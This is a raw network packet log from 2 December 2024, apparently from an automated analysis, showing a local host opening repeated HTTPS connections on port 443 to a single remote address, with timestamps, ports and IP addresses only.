Dec 2, 2024 05:00:35.312700987 CET	50087	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.312901020 CET	50087	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.312913895 CET	443	50087	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.318226099 CET	443	50083	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.318562984 CET	50083	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.318572998 CET	443	50083	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.318950891 CET	50083	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.318955898 CET	443	50083	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.466540098 CET	443	50084	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.467037916 CET	50084	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.467056990 CET	443	50084	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.467492104 CET	50084	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.467497110 CET	443	50084	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.767412901 CET	443	50083	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.767433882 CET	443	50083	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.767507076 CET	50083	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.767518997 CET	443	50083	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.767762899 CET	50083	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.767776012 CET	443	50083	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.767784119 CET	50083	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.767929077 CET	443	50083	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.767960072 CET	443	50083	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.768003941 CET	50083	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.770472050 CET	50088	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.770494938 CET	443	50088	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.770562887 CET	50088	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.770710945 CET	50088	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.770723104 CET	443	50088	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.901633024 CET	443	50084	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.901681900 CET	443	50084	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.901813984 CET	50084	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.901844978 CET	50084	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.901860952 CET	443	50084	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.901870966 CET	50084	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.901878119 CET	443	50084	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.903875113 CET	50089	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.903901100 CET	443	50089	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.904122114 CET	50089	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.904122114 CET	50089	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.904145002 CET	443	50089	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:36.096952915 CET	443	50085	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:36.097368956 CET	50085	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:36.097385883 CET	443	50085	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:36.098087072 CET	50085	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:36.098093033 CET	443	50085	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:36.546135902 CET	443	50085	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:36.546158075 CET	443	50085	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:36.546235085 CET	50085	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:36.546247005 CET	443	50085	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:36.546469927 CET	50085	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:36.546480894 CET	443	50085	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:36.546520948 CET	50085	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:36.546617031 CET	443	50085	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:36.546649933 CET	443	50085	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:36.546699047 CET	50085	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:36.548922062 CET	50090	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:36.548938990 CET	443	50090	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:36.549021006 CET	50090	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:36.549158096 CET	50090	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:36.549170017 CET	443	50090	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:36.892556906 CET	443	50087	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:36.893099070 CET	50087	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:36.893110037 CET	443	50087	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:36.893568039 CET	50087	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:36.893573046 CET	443	50087	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.003577948 CET	443	50086	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.003950119 CET	50086	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.003961086 CET	443	50086	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.004319906 CET	50086	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.004323959 CET	443	50086	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.336750031 CET	443	50087	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.336775064 CET	443	50087	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.336827993 CET	443	50087	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.336891890 CET	50087	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.336908102 CET	50087	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.337141037 CET	50087	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.337150097 CET	443	50087	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.337160110 CET	50087	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.337163925 CET	443	50087	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.339720011 CET	50091	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.339740992 CET	443	50091	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.339807987 CET	50091	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.339946032 CET	50091	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.339962006 CET	443	50091	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.448539972 CET	443	50086	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.448570013 CET	443	50086	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.448708057 CET	50086	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.448721886 CET	443	50086	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.448956966 CET	50086	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.448970079 CET	443	50086	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.448976994 CET	50086	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.449136972 CET	443	50086	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.449172020 CET	443	50086	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.449208975 CET	50086	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.451594114 CET	50092	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.451636076 CET	443	50092	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.451704979 CET	50092	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.451837063 CET	50092	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.451849937 CET	443	50092	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.616699934 CET	443	50088	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.617100000 CET	50088	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.617111921 CET	443	50088	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.617516041 CET	50088	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.617522001 CET	443	50088	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.619029999 CET	443	50089	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.619266033 CET	50089	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.619281054 CET	443	50089	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:37.619591951 CET	50089	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:37.619596958 CET	443	50089	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.055100918 CET	443	50089	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.055147886 CET	443	50089	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.055210114 CET	50089	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.055397034 CET	50089	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.055404902 CET	443	50089	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.055413961 CET	50089	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.055418015 CET	443	50089	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.058087111 CET	50093	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.058111906 CET	443	50093	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.058192015 CET	50093	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.058358908 CET	50093	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.058371067 CET	443	50093	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.071238995 CET	443	50088	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.071259975 CET	443	50088	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.071330070 CET	50088	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.071341991 CET	443	50088	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.071516991 CET	50088	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.071527958 CET	443	50088	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.071535110 CET	50088	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.071676970 CET	443	50088	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.071705103 CET	443	50088	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.071744919 CET	50088	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.073568106 CET	50094	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.073611975 CET	443	50094	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.073679924 CET	50094	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.073822975 CET	50094	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.073837996 CET	443	50094	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.328803062 CET	443	50090	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.329305887 CET	50090	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.329319954 CET	443	50090	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.329703093 CET	50090	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.329708099 CET	443	50090	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.775177956 CET	443	50090	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.775245905 CET	443	50090	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.775331020 CET	50090	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.775537014 CET	50090	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.775543928 CET	443	50090	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.775553942 CET	50090	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.775557995 CET	443	50090	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.778167963 CET	50095	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.778186083 CET	443	50095	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:38.778269053 CET	50095	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.778390884 CET	50095	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:38.778402090 CET	443	50095	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.184304953 CET	443	50091	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.184756041 CET	50091	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.184771061 CET	443	50091	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.185193062 CET	50091	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.185198069 CET	443	50091	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.233402014 CET	443	50092	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.233735085 CET	50092	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.233764887 CET	443	50092	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.234101057 CET	50092	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.234107018 CET	443	50092	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.638592958 CET	443	50091	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.638664007 CET	443	50091	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.638715029 CET	50091	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.638863087 CET	50091	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.638871908 CET	443	50091	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.638881922 CET	50091	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.638885975 CET	443	50091	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.642045021 CET	50096	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.642057896 CET	443	50096	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.642108917 CET	50096	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.642235994 CET	50096	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.642246962 CET	443	50096	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.678379059 CET	443	50092	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.681524038 CET	443	50092	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.681585073 CET	50092	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.681616068 CET	50092	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.681633949 CET	443	50092	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.681643009 CET	50092	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.681648016 CET	443	50092	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.683651924 CET	50097	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.683665991 CET	443	50097	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.683729887 CET	50097	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.683849096 CET	50097	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.683856964 CET	443	50097	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.773340940 CET	443	50093	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.773808956 CET	50093	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.773827076 CET	443	50093	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.774118900 CET	50093	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.774123907 CET	443	50093	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.852319002 CET	443	50094	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.852832079 CET	50094	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.852850914 CET	443	50094	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:39.853199959 CET	50094	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:39.853204012 CET	443	50094	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:40.213412046 CET	443	50093	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:40.213454008 CET	443	50093	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:40.213505983 CET	50093	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:40.213515997 CET	443	50093	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:40.213557005 CET	50093	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:40.213737965 CET	50093	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:40.213742018 CET	443	50093	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:40.213754892 CET	50093	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:40.213865995 CET	443	50093	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:40.213891029 CET	443	50093	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:40.213928938 CET	50093	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:40.217154980 CET	50098	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:40.217169046 CET	443	50098	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:40.217241049 CET	50098	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:40.217411995 CET	50098	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:40.217422962 CET	443	50098	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:40.318109035 CET	443	50094	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:40.318135023 CET	443	50094	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:40.318207026 CET	443	50094	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:40.318228006 CET	50094	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:40.318248987 CET	50094	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:40.318439007 CET	50094	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:40.318451881 CET	443	50094	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:40.318460941 CET	50094	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:40.318464994 CET	443	50094	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:40.320693970 CET	50099	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:40.320709944 CET	443	50099	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:40.320938110 CET	50099	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:40.320938110 CET	50099	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:40.320960045 CET	443	50099	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:40.622581005 CET	443	50095	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:40.623076916 CET	50095	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:40.623095989 CET	443	50095	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:40.623543978 CET	50095	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:40.623548985 CET	443	50095	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.141331911 CET	443	50095	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.141352892 CET	443	50095	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.141366005 CET	443	50095	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.141429901 CET	50095	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.141443968 CET	443	50095	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.141493082 CET	50095	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.310087919 CET	443	50095	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.310153008 CET	443	50095	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.310178041 CET	50095	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.310214043 CET	50095	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.310287952 CET	50095	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.310297012 CET	443	50095	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.310308933 CET	50095	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.310312986 CET	443	50095	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.312691927 CET	50100	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.312704086 CET	443	50100	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.312767029 CET	50100	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.312889099 CET	50100	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.312900066 CET	443	50100	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.468436956 CET	443	50097	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.468905926 CET	50097	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.468924046 CET	443	50097	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.469353914 CET	50097	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.469357967 CET	443	50097	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.485924006 CET	443	50096	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.486258030 CET	50096	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.486280918 CET	443	50096	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.486624956 CET	50096	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.486629963 CET	443	50096	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.940732956 CET	443	50096	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.940751076 CET	443	50096	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.940803051 CET	50096	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.940814972 CET	443	50096	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.940984964 CET	50096	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.940990925 CET	443	50096	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.941005945 CET	50096	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.941133976 CET	443	50096	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.941163063 CET	443	50096	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.941227913 CET	50096	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.943325996 CET	50101	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.943360090 CET	443	50101	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.943414927 CET	50101	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.943597078 CET	50101	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.943627119 CET	443	50101	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.960618019 CET	443	50097	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.960652113 CET	443	50097	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.960671902 CET	443	50097	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.960700989 CET	50097	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.960712910 CET	443	50097	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:41.960725069 CET	50097	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:41.960755110 CET	50097	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.060514927 CET	443	50098	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.061127901 CET	50098	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.061140060 CET	443	50098	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.061573982 CET	50098	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.061578035 CET	443	50098	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.144000053 CET	443	50097	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.144037008 CET	443	50097	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.144064903 CET	50097	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.144069910 CET	443	50097	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.144082069 CET	443	50097	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.144109964 CET	50097	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.144138098 CET	50097	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.144228935 CET	50097	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.144236088 CET	443	50097	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.144244909 CET	50097	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.144249916 CET	443	50097	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.146481037 CET	50102	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.146497965 CET	443	50102	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.146588087 CET	50102	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.146716118 CET	50102	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.146727085 CET	443	50102	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.164693117 CET	443	50099	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.165055037 CET	50099	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.165067911 CET	443	50099	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.165481091 CET	50099	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.165486097 CET	443	50099	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.632265091 CET	443	50098	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.632287979 CET	443	50098	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.632349014 CET	443	50098	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.632360935 CET	50098	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.632370949 CET	443	50099	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.632395029 CET	443	50099	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.632401943 CET	50098	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.632445097 CET	443	50099	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.632447958 CET	50099	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.632487059 CET	50099	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.632694960 CET	50099	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.632702112 CET	443	50099	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.632714033 CET	50099	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.632718086 CET	443	50099	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.632720947 CET	50098	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.632730961 CET	443	50098	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.632740974 CET	50098	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.632744074 CET	443	50098	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.635421038 CET	50103	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.635451078 CET	443	50103	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.635453939 CET	50104	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.635479927 CET	443	50104	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.635519028 CET	50103	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.635550976 CET	50104	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.635684013 CET	50103	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.635699034 CET	443	50103	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:42.635735989 CET	50104	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:42.635751963 CET	443	50104	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:43.159738064 CET	443	50100	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:43.160234928 CET	50100	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:43.160250902 CET	443	50100	13.107.246.63	192.168.2.4
